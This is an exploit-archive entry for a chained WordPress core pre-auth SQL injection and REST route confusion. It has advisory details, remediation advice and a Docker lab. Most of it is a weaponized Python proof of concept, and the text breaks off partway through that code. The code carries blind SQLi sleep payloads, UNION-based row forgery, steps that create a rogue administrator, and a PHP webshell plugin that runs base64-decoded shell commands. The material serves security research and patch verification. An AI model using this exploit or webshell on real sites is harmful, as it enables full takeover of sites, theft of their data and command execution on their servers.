PoC Archive PoC Archive
Critical CVE-2026-63030 (REST /batch/v1 route confusion, CVSS 7.5), CVE-2026-60137 (author__not_in SQL injection, CVSS 9.1); GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf patched

wp2shell — WordPress Core Pre-Auth SQLi → Row Forgery → Admin Creation → RCE (CVE-2026-63030 + CVE-2026-60137)

by Adam Kues (Assetnote / Searchlight Cyber) — route confusion + SQLi; Mustafa Can İPEKÇİ ([nukedx](https://github.com/mcipekci)) — stock-default RCE chain; SQLi also credited to TF1T, dtro, haongo · 2026-07-19

CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-63030 (REST /batch/v1 route confusion, CVSS 7.5), CVE-2026-60137 (author__not_in SQL injection, CVSS 9.1); GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf
Category
web
Affected product
WordPress core (REST API /batch/v1, WP_Query::author__not_in)
Affected versions
6.9.0–6.9.4 and 7.0.0–7.0.1 for the full pre-auth RCE chain (the SQLi sink alone, without the route-confusion delivery, also affects 6.8.0–6.8.5). **Fixed in 6.8.6 / 6.9.5 / 7.0.2.**
Disclosed
2026-07-19
Patch status
patched

Metadata

FieldValue
Date Added2026-07-19
Last Updated2026-07-19
Author / ResearcherAdam Kues (Assetnote / Searchlight Cyber) — route confusion + SQLi; Mustafa Can İPEKÇİ (nukedx) — stock-default RCE chain; SQLi also credited to TF1T, dtro, haongo
CVE / AdvisoryCVE-2026-63030 (REST /batch/v1 route confusion, CVSS 7.5), CVE-2026-60137 (author__not_in SQL injection, CVSS 9.1); GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf
Categoryweb
SeverityCritical
CVSS Score9.1 (CVE-2026-60137, CVSS 3.1); chained RCE impact exceeds either individual CVSS score
StatusWeaponized — full pre-auth RCE confirmed against stock-default WordPress core, no plugins/misconfiguration required
Tagswordpress, wp-core, sql-injection, route-confusion, cwe-89, cwe-436, unauthenticated, remote, privilege-escalation, rce, oembed, changeset
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress core (REST API /batch/v1, WP_Query::author__not_in)
Versions Affected6.9.0–6.9.4 and 7.0.0–7.0.1 for the full pre-auth RCE chain (the SQLi sink alone, without the route-confusion delivery, also affects 6.8.0–6.8.5). Fixed in 6.8.6 / 6.9.5 / 7.0.2.
Language / PlatformPHP, WordPress core (no plugins involved)
Authentication RequiredNo
Network Access RequiredYes — a single unauthenticated HTTP request to POST /?rest_route=/batch/v1

Summary

A two-bug chain in stock WordPress core — no plugins, no misconfiguration, no special DB privileges required — that goes from a single unauthenticated HTTP request to a new administrator account and remote code execution. The always-true primitive is CVE-2026-60137: an unauthenticated SQL injection in WP_Query::author__not_in giving full database read (admin password hashes, everything in wp_options/wp_users) — that alone would justify its 9.1 CVSS and immediate patching. But the chain goes further: CVE-2026-63030’s REST batch-endpoint route confusion is used to reach the SQLi from a nominally “public” route, and the SQLi itself is turned from a read primitive into a write primitive by abusing WordPress’s own oEmbed caching behavior to forge database rows. Those forged rows back a changeset-elevation and re-entrant parse_request trick that ultimately creates a real administrator account — from which a plugin webshell gives full command execution.


Vulnerability Details

Root Cause

CVE-2026-63030 (route confusion, CWE-436): Double-nested REST API batch requests to /batch/v1 desync $matches/$validation, so a request intended to hit a restricted internal handler instead executes under posts::get_items() (a public route), reaching WP_Query with attacker-controlled input that should never have been reachable unauthenticated.

CVE-2026-60137 (SQL injection, CWE-89): The author__not_in query variable is string-concatenated directly into the generated SQL rather than parameterized. Setting per_page=-1 additionally bypasses WordPress’s split_the_query optimization (WP_Query treats -1 as “no limit,” producing empty $limits and split=false), so the full SELECT wp_posts.* statement is reachable and a UNION ALL SELECT with matching column count injects fully-controlled fake wp_posts rows.

The write-primitive escalation: the forged rows carry oEmbed shortcodes ([embed]<self-url>[/embed]); when WordPress renders them (context=view), its own oEmbed caching mechanism writes real wp_posts rows to the database with a predictable slug (md5(url + serialized attrs)) — converting a read-only SQL injection into an arbitrary, ID-predictable database write. A forged customize_changeset (with user_id set to the real admin) plus a forged post_type=request row with parent loops then drives an in-process re-entrant parse_request call in admin context, and a final POST /wp/v2/users in the same batch request passes the current_user_can('create_users') check — creating a new administrator with no credentials ever presented.

Attack Vector

1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" -> empty $limits -> split=false ->
                        full SELECT wp_posts.* -> UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') -> new administrator.

6. RCE                — login -> plugin webshell upload -> command execution -> cleanup.

Three additional render-time write primitives were independently confirmed live against 7.0.1 during research (each forged as an unauthenticated post and the resulting DB write verified by blind SQLi): wp:rss shortcodes write a fully attacker-controlled _site_transient_feed_<md5(url)> option (key and value attacker-controlled — a general option-poisoning primitive); wp:navigation creates one fixed-slug wp_navigation post (single-shot, skipped if any published navigation exists); wp:calendar confirms the render→update_option path fires unauthenticated but with a fixed key/value. oEmbed remains the primitive the RCE chain actually uses, since it’s the only one giving multiple, on-demand, attacker-named post rows.

Impact

Full unauthenticated compromise of any affected stock WordPress installation: database read of all credentials and secrets via the SQLi alone, and — via the full chain — creation of an arbitrary administrator account followed by remote code execution through a self-cleaning webshell plugin, all from a single HTTP endpoint with no prior access.


Environment / Lab Setup

Target:      Stock WordPress 6.9.4 (vulnerable) or 7.0.2 (patched) + MySQL 8.0, via
             docker-compose.yml in this folder — no plugins, no custom configuration.
             The DB user gets the mysql-image default (ALL ON wordpress.*), excluding
             the global FILE privilege, modeling a normal/managed host.
Attacker:    Python 3 stdlib only (wp2shell_check.py has no external dependencies)
Tools:       Docker + Docker Compose v2, make, curl

Setup Steps

1
2
3
4
5
6
make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

Proof of Concept

See wp2shell_check.py, docker-compose.yml, Makefile, scripts/install-wp.sh, and upstream-SECURITY.md in this folder — mirrored from dinosn/wp2shell-lab (17 stars, MIT license, created 2026-07-18). dinosn is a source already used elsewhere in this archive (MariaDB JSON-schema UDF RCE, Apache Camel CoAP header injection, Apache Mina deserialization bypass, ActiveMQ Jolokia RCE, WP Photo Album Plus SQLi). Verified before ingestion: read the full 767-line wp2shell_check.py — standard library only, no eval/exec/subprocess calls outside of reading the target’s HTTP responses, no unexpected outbound network destinations, no obfuscation. The exploit logic matches the documented chain exactly (blind-SQLi differential detection, UNION-based row forgery, oEmbed cache seeding, changeset/re-entrant elevation, plugin-based webshell deployment with self-cleanup), and cites real, independently-verifiable sources (Assetnote/Searchlight Cyber research page, a public gist from the RCE-chain researcher, and the actual WordPress 7.0.2 security release announcement).

Step-by-Step Reproduction

1
2
3
make up
make check
make exploit

Exploit Code

1
"(SELECT 1 FROM (SELECT SLEEP(n))x)"

Expected Output

$ make exploit
[+] vulnerable (blind SQLi: 0.020s / 4.020s)
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [14, 15, 16]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  (w2s_...@wp2shell.local)
[*] logging in, deploying webshell, executing command ...
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [fast=0.02s slow=0.03s delta=0.01s]

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchUpgrade to WordPress 6.9.5 / 7.0.2 (or 6.8.6 on the 6.8 branch). WordPress shipped this as a forced auto-update.
Interim mitigationBlock both /wp-json/batch/v1 and the query-string form ?rest_route=/batch/v1 at the edge — a rule on only the pretty-permalink path leaves the query-string route open — or require authentication on the batch route via a rest_pre_dispatch filter.
Incident response if already compromisedTreat as full site compromise: audit for unexpected administrator accounts, uploaded plugins, and forged wp_posts/wp_options entries; rotate all secrets and credentials.

References


Notes

Flagged directly by the user, then verified before ingestion. Surfaced independently of this session’s NVD/KEV discovery sweeps (WordPress core CVEs of this kind aren’t always caught by CVSS-threshold-filtered scans in their first days). Two chained CVEs are archived together as one entry, matching the source repository’s own framing of this as a single named vulnerability chain (“wp2shell”) rather than two independent bugs — cross-referenced from both CVE numbers.

wp2shell_check.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
wp2shell_check.py — detector & pre-auth RCE PoC for wp2shell
=============================================================
CVE-2026-63030 (REST /batch/v1 route confusion) + CVE-2026-60137
(WP_Query::author__not_in SQL injection) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1.

What it does
------------
**Detect (default):** Confirms the *unauthenticated SQL injection* with a time-based
differential. Reads no data and changes nothing. `--proof` reads two harmless scalars
(@@version, current_user()) as evidence — still read-only.

**Exploit (`-c COMMAND`):** Full pre-auth RCE on stock WordPress — no FILE privilege, no
object cache, no plugins, no misconfigurations required. The chain:
  1. Blind SQLi confirms vulnerability and extracts table prefix / admin ID
  2. UNION row forgery via per_page=-1 split_the_query bypass injects fake posts
  3. oEmbed cache seeding turns read-only SQLi into real DB writes
  4. Changeset elevation + re-entrant parse_request runs in admin context
  5. POST /wp/v2/users creates a new administrator
  6. Login → plugin webshell upload → command execution → self-cleanup

The stock-default RCE mechanism (oEmbed → changeset → re-entry) was researched by
Mustafa Can İPEKÇİ (nukedx), building on the route confusion + SQLi discovered by
Adam Kues (Assetnote / Searchlight Cyber).

Authorized use only
-------------------
Run this against systems you own or are explicitly authorized to test. Remote (non-loopback)
targets require --authorized.

Usage
-----
    python3 wp2shell_check.py http://target[:port]           # detect only
    python3 wp2shell_check.py http://target --proof          # + read @@version as evidence
    python3 wp2shell_check.py http://target -c "id"          # full pre-auth RCE
    python3 wp2shell_check.py -f hosts.txt --authorized --json
    python3 wp2shell_check.py http://127.0.0.1:8093          # local lab (no --authorized needed)

Status values:
  vulnerable        - actively confirmed via the injection (batch confusion, 6.9.0-7.0.1)
  affected_version  - fingerprinted version is in an affected range but the active check did
                      not fire (e.g. 6.8.0-6.8.5 has the SQLi sink but not the 6.9+ confusion
                      delivery; or a WAF/edge blocked the probe). Version-based, not proof.
  not_vulnerable    - active check negative and version outside the affected ranges

Exit codes: 0 = needs attention (vulnerable or affected_version), 1 = not vulnerable, 2 = error.
Follows redirects while preserving the POST body; ignores TLS errors (curl -k).
"""
import argparse
import base64
import concurrent.futures
import hashlib
import html as html_mod
import io
import json
import re
import secrets
import ssl
import statistics
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
from collections import Counter
from http.cookiejar import CookieJar

__version__ = "2.0.0"


class _KeepPost(urllib.request.HTTPRedirectHandler):
    """Follow redirects but PRESERVE the POST method and body. urllib's default handler
    downgrades a redirected POST to a bodyless GET (301/302/303), which would silently
    drop the batch payload when a site redirects http->https or to a canonical host and
    produce a false negative. We keep POSTing to the Location instead. Loop protection
    (max_redirections) is still enforced by the parent."""
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        if req.get_method() == "POST" and code in (301, 302, 303, 307, 308):
            hdrs = {k: v for k, v in req.header_items() if k.lower() != "content-length"}
            return urllib.request.Request(newurl, data=req.data, headers=hdrs,
                                          origin_req_host=req.origin_req_host,
                                          unverifiable=True, method="POST")
        return super().redirect_request(req, fp, code, msg, headers, newurl)


class Target:
    def __init__(self, base, timeout=15, proxy=None, sleep=4.0, route="auto"):
        self.base = base.rstrip("/")
        self.timeout = timeout
        self.sleep = float(sleep)
        self.route = route
        self._proxy = proxy
        self.batch = None        # resolved endpoint URL (canonical, post-redirect)
        self._base = 0.0         # measured baseline round-trip (set by detect(); used by the oracle)
        self._normalized = False # whether the base host/scheme has been canonicalized
        # Ignore TLS verification (self-signed / expired / hostname-mismatch certs are
        # common on test targets). Equivalent to `curl -k`.
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        opener_handlers = [urllib.request.HTTPSHandler(context=ctx), _KeepPost()]
        if proxy:
            opener_handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
        else:
            opener_handlers.append(urllib.request.ProxyHandler({}))  # ignore env proxies
        self.opener = urllib.request.build_opener(*opener_handlers)

    UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
          "(KHTML, like Gecko) Chrome/126.0 Safari/537.36")

    def _normalize_base(self):
        """Follow redirects on the root once and pin the canonical scheme://host, so the
        batch POST goes straight to the final host (http->https, apex->www, etc.) instead
        of relying on a redirect for every probe. Only scheme+host are taken (never a
        redirected path), so REST routes stay correct."""
        if self._normalized:
            return
        self._normalized = True
        try:
            req = urllib.request.Request(self.base + "/", headers={"User-Agent": self.UA})
            with self.opener.open(req, timeout=self.timeout) as r:
                u = urllib.parse.urlparse(r.geturl())
                if u.scheme and u.netloc:
                    canon = "%s://%s" % (u.scheme, u.netloc)
                    if canon != self.base:
                        self.base = canon
                        self.batch = None  # re-resolve endpoint against the canonical host
        except Exception:
            pass

    # -- HTTP ---------------------------------------------------------------
    def _raw(self, url, data=None, headers=None, method=None):
        hdrs = dict(headers or {})
        hdrs.setdefault("User-Agent", self.UA)
        req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
        t0 = time.perf_counter()
        try:
            with self.opener.open(req, timeout=self.timeout) as r:
                body = r.read()
                return r.status, time.perf_counter() - t0, body, r.geturl()
        except urllib.error.HTTPError as e:
            return e.code, time.perf_counter() - t0, e.read(), getattr(e, "url", url)

    def _endpoints(self):
        if self.route == "wp-json":
            return [self.base + "/wp-json/batch/v1"]
        if self.route == "rest-route":
            return [self.base + "/?rest_route=/batch/v1"]
        # auto: rest_route works without pretty permalinks; wp-json needs them
        return [self.base + "/?rest_route=/batch/v1", self.base + "/wp-json/batch/v1"]

    # -- payload ------------------------------------------------------------
    # The injected value breaks out of `post_author NOT IN ( <value> )` and wraps SLEEP
    # in a derived table:  (SELECT 1 FROM (SELECT SLEEP(n))x)  -- so MySQL materializes
    # and evaluates it once, independent of the number of rows the posts query returns.
    # A bare `NOT IN (SELECT SLEEP(n))` / `OR SLEEP(n)` gets optimized away and never
    # executes on some managed WordPress hosts, which reads as a false negative. The
    # nested subquery avoids that.
    @staticmethod
    def _envelope(author_exclude):
        """Nested batch (route confusion) that lands `author_exclude` in WP_Query::author__not_in."""
        enc = urllib.parse.quote(author_exclude, safe="")
        inner = {"requests": [
            {"method": "POST", "path": "///"},                            # misalignment trigger
            {"method": "GET",  "path": "/wp/v2/users?author_exclude=" + enc},
            {"method": "GET",  "path": "/wp/v2/posts"},                   # supplies get_items handler
        ]}
        return {"requests": [
            {"method": "POST", "path": "/v2/categories", "body": {"name": "x"}},
            {"method": "POST", "path": "///", "body": {"name": "x"}},
            {"method": "POST", "path": "/wp/v2/posts", "body": inner},    # self-call onto batch handler
            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
        ]}

    def probe(self, author_exclude):
        """Send one injection carrying <author_exclude> into author__not_in. Returns (status, elapsed)."""
        self._normalize_base()
        body = json.dumps(self._envelope(author_exclude)).encode()
        headers = {"Content-Type": "application/json"}
        if self.batch is None:
            # resolve which endpoint form the site accepts (a processed batch answers 207/200);
            # pin the post-redirect URL so later probes hit the canonical endpoint directly.
            for ep in self._endpoints():
                st, _, _, final = self._raw(ep, data=body, headers=headers, method="POST")
                if st in (200, 207):
                    self.batch = final
                    break
            if self.batch is None:
                self.batch = self._endpoints()[0]  # fall back; timing still decides
        st, el, _, _ = self._raw(self.batch, data=body, headers=headers, method="POST")
        return st, el

    @staticmethod
    def _sleep_payload(seconds):
        return "0) OR (SELECT 1 FROM (SELECT SLEEP(%g))x)-- -" % seconds

    # -- detection ----------------------------------------------------------
    def detect(self, rounds=3):
        fast = statistics.median(self.probe(self._sleep_payload(0))[1] for _ in range(rounds))
        slow = statistics.median(self.probe(self._sleep_payload(self.sleep))[1] for _ in range(rounds))
        self._base = fast
        delta = slow - fast
        # vulnerable if the slow path tracks our injected sleep and the fast path did not
        vulnerable = delta >= (self.sleep * 0.6) and fast < (self.sleep * 0.5)
        return {"fast": fast, "slow": slow, "delta": delta, "vulnerable": vulnerable}

    # -- bounded read-only proof -------------------------------------------
    def _oracle(self, cond, unit=0.6):
        payload = "0) OR (SELECT 1 FROM (SELECT IF((%s),SLEEP(%g),0))x)-- -" % (cond, unit)
        _, el = self.probe(payload)
        return el > (self._base + unit * 0.6)   # relative to measured baseline (latency-safe)

    def read_scalar(self, expr, maxlen=40, unit=0.6):
        v = "COALESCE((%s),'')" % expr
        lo, hi = 0, maxlen
        while lo < hi:
            mid = (lo + hi + 1) // 2
            if self._oracle("CHAR_LENGTH(%s)>=%d" % (v, mid), unit):
                lo = mid
            else:
                hi = mid - 1
        out = ""
        for pos in range(1, lo + 1):
            a, b = 32, 126
            while a < b:
                mid = (a + b + 1) // 2
                if self._oracle("ASCII(SUBSTRING(%s,%d,1))>=%d" % (v, pos, mid), unit):
                    a = mid
                else:
                    b = mid - 1
            out += chr(a)
        return out

    def read_int(self, query, unit=0.6):
        expr = "COALESCE((%s),0)" % query
        lo, hi = 0, 1
        while self._oracle("%s >= %d" % (expr, hi), unit):
            lo, hi = hi, hi * 2
        while lo < hi:
            mid = (lo + hi + 1) // 2
            if self._oracle("%s >= %d" % (expr, mid), unit):
                lo = mid
            else:
                hi = mid - 1
        return lo

    # -- RCE: row forgery + oEmbed → changeset → re-entry → admin creation ----
    # Chain researched by Mustafa Can İPEKÇİ (nukedx),
    # building on the route confusion + SQLi by Adam Kues (Assetnote).

    PRIMER = "http://:"
    EMBED_ATTR = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'

    def _rce_send(self, inner_requests, timeout=None):
        payload = {"requests": [
            {"method": "POST", "path": self.PRIMER},
            {"method": "POST", "path": "/wp/v2/posts",
             "body": {"requests": inner_requests}},
            {"method": "POST", "path": "/batch/v1"},
        ]}
        ep = self.batch or self._endpoints()[0]
        body = json.dumps(payload).encode()
        hdrs = {"Content-Type": "application/json", "User-Agent": self.UA}
        req = urllib.request.Request(ep, data=body, headers=hdrs, method="POST")
        try:
            with self.opener.open(req, timeout=timeout or self.timeout) as resp:
                return resp.read()
        except urllib.error.HTTPError as e:
            return e.read()

    @staticmethod
    def _hex(value):
        return "0x%s" % value.encode().hex() if value else "''"

    def _post_row(self, post_id, content, title, status, name, parent, post_type):
        h = self._hex
        return ",".join((
            str(post_id), "1",
            h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"),
            h(content), h(title), "''",
            h(status), h("closed"), h("closed"), "''",
            h(name), "''", "''",
            h("2020-01-01 00:00:00"), h("2020-01-01 00:00:00"), "''",
            str(parent), "''", "0",
            h(post_type), "''", "0",
        ))

    def _forge(self, rows, extra_requests=()):
        query = ("1) AND 1=0 UNION ALL SELECT "
                 + " UNION ALL SELECT ".join(rows) + " -- -")
        self._rce_send([
            {"method": "GET", "path": self.PRIMER},
            {"method": "GET", "path": "/wp/v2/widgets?"
             + urllib.parse.urlencode({"author_exclude": query, "per_page": -1,
                                       "orderby": "none", "context": "view"})},
            {"method": "GET", "path": "/wp/v2/posts"},
            *extra_requests,
        ], timeout=60)

    def exploit(self, command):
        """Full pre-auth RCE. Returns (username, password, command_output)."""
        self._normalize_base()

        # 1. published post for oEmbed anchor
        try:
            with self.opener.open(
                urllib.request.Request(
                    self.base + "/?rest_route=/wp/v2/posts&per_page=1&_fields=link",
                    headers={"User-Agent": self.UA}), timeout=15) as resp:
                items = json.loads(resp.read())
        except Exception:
            items = []
        if not items or not items[0].get("link"):
            raise RuntimeError("no published post for oEmbed anchor")

        link = urllib.parse.urlsplit(items[0]["link"])
        token = secrets.token_hex(6)
        embed_urls = [
            urllib.parse.urlunsplit((
                link.scheme, link.netloc, link.path, link.query,
                "%s%d" % (token, i)))
            for i in range(3)]

        # 2. seed 3 oEmbed caches (forged post with [embed] shortcodes → real DB writes)
        sys.stderr.write("[*] seeding oEmbed caches ...\n")
        seed_content = "".join(
            '[embed width="500" height="750"]%s[/embed]' % u for u in embed_urls)
        self._forge([self._post_row(
            0, seed_content, "seed", "publish", "seed", 0, "post")])

        # 3. extract table prefix, admin ID, seeded cache post IDs
        sys.stderr.write("[*] extracting table prefix ...\n")
        posts_table = self.read_scalar(
            "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
            "WHERE TABLE_SCHEMA=DATABASE() "
            "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
            "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1", 64)
        if not re.fullmatch(r"[A-Za-z0-9_$]+", posts_table):
            raise RuntimeError("could not resolve posts table (%r)" % posts_table)
        prefix = posts_table[:-5]
        sys.stderr.write("[+] table prefix: %s\n" % (prefix or "(empty)"))

        sys.stderr.write("[*] extracting admin user ID ...\n")
        admin_id = self.read_int(
            "SELECT u.ID FROM `%susers` u JOIN `%susermeta` m "
            "ON m.user_id=u.ID WHERE m.meta_key=%s "
            "AND INSTR(m.meta_value,%s)>0 "
            "ORDER BY u.ID LIMIT 1" % (
                prefix, prefix,
                self._hex(prefix + "capabilities"),
                self._hex('s:13:"administrator";b:1;')))
        if admin_id < 1:
            raise RuntimeError("could not locate an administrator")
        sys.stderr.write("[+] admin ID: %d\n" % admin_id)

        sys.stderr.write("[*] recovering oEmbed cache post IDs ...\n")
        cache_ids = []
        for u in embed_urls:
            key = hashlib.md5((u + self.EMBED_ATTR).encode()).hexdigest()
            pid = self.read_int(
                "SELECT ID FROM `%s` WHERE post_type=0x6f656d6265645f6361636865 "
                "AND post_name=0x%s ORDER BY ID DESC LIMIT 1" % (
                    posts_table, key.encode().hex()))
            if pid < 1:
                raise RuntimeError("oEmbed cache seeding failed")
            cache_ids.append(pid)
        if len(set(cache_ids)) != 3:
            raise RuntimeError("oEmbed cache IDs not distinct")
        sys.stderr.write("[+] cache IDs: %s\n" % cache_ids)

        # 4. forge changeset elevation + re-entrant parse_request, create admin
        username = "w2s_%s" % token
        password = "W2s!%s" % secrets.token_urlsafe(15)
        email = "%s@wp2shell.local" % username
        outer = 1800000000 + secrets.randbelow(100000000)
        nav_id, inner_id = outer + 1, outer + 2

        changeset = json.dumps({
            "nav_menu_item[%d]" % nav_id: {
                "value": {
                    "object_id": 0, "object": "", "menu_item_parent": 0,
                    "position": 0, "type": "custom", "title": "proof",
                    "url": "https://github.com/dinosn/wp2shell-lab",
                    "target": "", "attr_title": "", "description": "proof",
                    "classes": "", "xfn": "", "status": "publish",
                    "nav_menu_term_id": 0, "_invalid": False,
                },
                "type": "nav_menu_item", "user_id": admin_id,
            }
        }, separators=(",", ":"))

        poisoned = (
            self._post_row(0,
                '[embed width="500" height="750"]%s[/embed]' % embed_urls[1],
                "trigger", "publish", "trigger", 0, "post"),
            self._post_row(cache_ids[0], changeset, "changeset", "future",
                str(uuid.uuid4()), outer, "customize_changeset"),
            self._post_row(outer, "outer", "outer", "draft",
                "outer", cache_ids[0], "post"),
            self._post_row(cache_ids[1], "", "cache", "publish",
                "cache", cache_ids[0], "post"),
            self._post_row(nav_id, "nav", "nav", "publish",
                "nav", cache_ids[2], "nav_menu_item"),
            self._post_row(cache_ids[2], "parse", "parse", "parse",
                "parse", inner_id, "request"),
            self._post_row(inner_id, "inner", "inner", "draft",
                "inner", cache_ids[2], "post"),
        )
        new_admin = {"username": username, "email": email,
                     "password": password, "roles": ["administrator"]}

        sys.stderr.write("[*] forging changeset + re-entry, creating administrator ...\n")
        self._forge(poisoned, extra_requests=[
            {"method": "POST", "path": "/wp/v2/users", "body": new_admin},
            {"method": "POST", "path": "/wp/v2/users", "body": new_admin},
        ])

        # 5. login and deploy self-cleaning webshell plugin
        sys.stderr.write("[+] administrator created: %s:%s  (%s)\n"
                         % (username, password, email))
        sys.stderr.write("[*] logging in, deploying webshell, executing command ...\n")

        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        sh = [urllib.request.HTTPSHandler(context=ctx),
              urllib.request.HTTPCookieProcessor(CookieJar()), _KeepPost()]
        if self._proxy:
            sh.append(urllib.request.ProxyHandler(
                {"http": self._proxy, "https": self._proxy}))
        else:
            sh.append(urllib.request.ProxyHandler({}))
        session = urllib.request.build_opener(*sh)

        session.open(urllib.request.Request(
            self.base + "/wp-login.php",
            headers={"User-Agent": self.UA}), timeout=15).read()
        session.open(urllib.request.Request(
            self.base + "/wp-login.php",
            data=urllib.parse.urlencode({
                "log": username, "pwd": password, "wp-submit": "Log In",
                "redirect_to": self.base + "/wp-admin/",
                "testcookie": "1"}).encode(),
            headers={"User-Agent": self.UA},
            method="POST"), timeout=30).read()

        with session.open(urllib.request.Request(
                self.base + "/wp-admin/users.php",
                headers={"User-Agent": self.UA}), timeout=30) as resp:
            users_page = resp.read().decode(errors="replace")
        if username not in users_page:
            raise RuntimeError("admin login failed (user not created?)")

        slug = "wp2shell-%s" % secrets.token_hex(6)
        route = secrets.token_hex(12)
        marker = secrets.token_hex(12)
        php = (
            "<?php\n"
            "/* Plugin Name: %s */\n"
            "add_action('rest_api_init', function () {\n"
            "    register_rest_route('wp2shell/v1', '/%s', array(\n"
            "        'methods' => 'POST', 'permission_callback' => '__return_true',\n"
            "        'callback' => function ($r) {\n"
            "            ob_start(); passthru(base64_decode($r->get_param('c')).' 2>&1');\n"
            "            $o = ob_get_clean();\n"
            "            require_once ABSPATH.'wp-admin/includes/plugin.php';\n"
            "            deactivate_plugins(plugin_basename(__FILE__), true);\n"
            "            @unlink(__FILE__);\n"
            "            return new WP_REST_Response(array(\n"
            "                'marker' => '%s', 'output' => $o));\n"
            "        },\n"
            "    ));\n"
            "});\n" % (slug, route, marker)).encode()

        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
            z.writestr("%s/%s.php" % (slug, slug), php)

        with session.open(urllib.request.Request(
                self.base + "/wp-admin/plugin-install.php?tab=upload",
                headers={"User-Agent": self.UA}), timeout=30) as resp:
            page = resp.read().decode(errors="replace")
        nonce = re.search(r'name="_wpnonce" value="([^"]+)"', page)
        if not nonce:
            raise RuntimeError("plugin-upload nonce not found")

        boundary = "----wp2shell%s" % secrets.token_hex(12)
        body = b"".join((
            ("--%s\r\nContent-Disposition: form-data; "
             "name=\"_wpnonce\"\r\n\r\n%s\r\n" % (boundary, nonce.group(1))).encode(),
            ("--%s\r\nContent-Disposition: form-data; "
             "name=\"_wp_http_referer\"\r\n\r\n"
             "/wp-admin/plugin-install.php?tab=upload\r\n" % boundary).encode(),
            ("--%s\r\nContent-Disposition: form-data; "
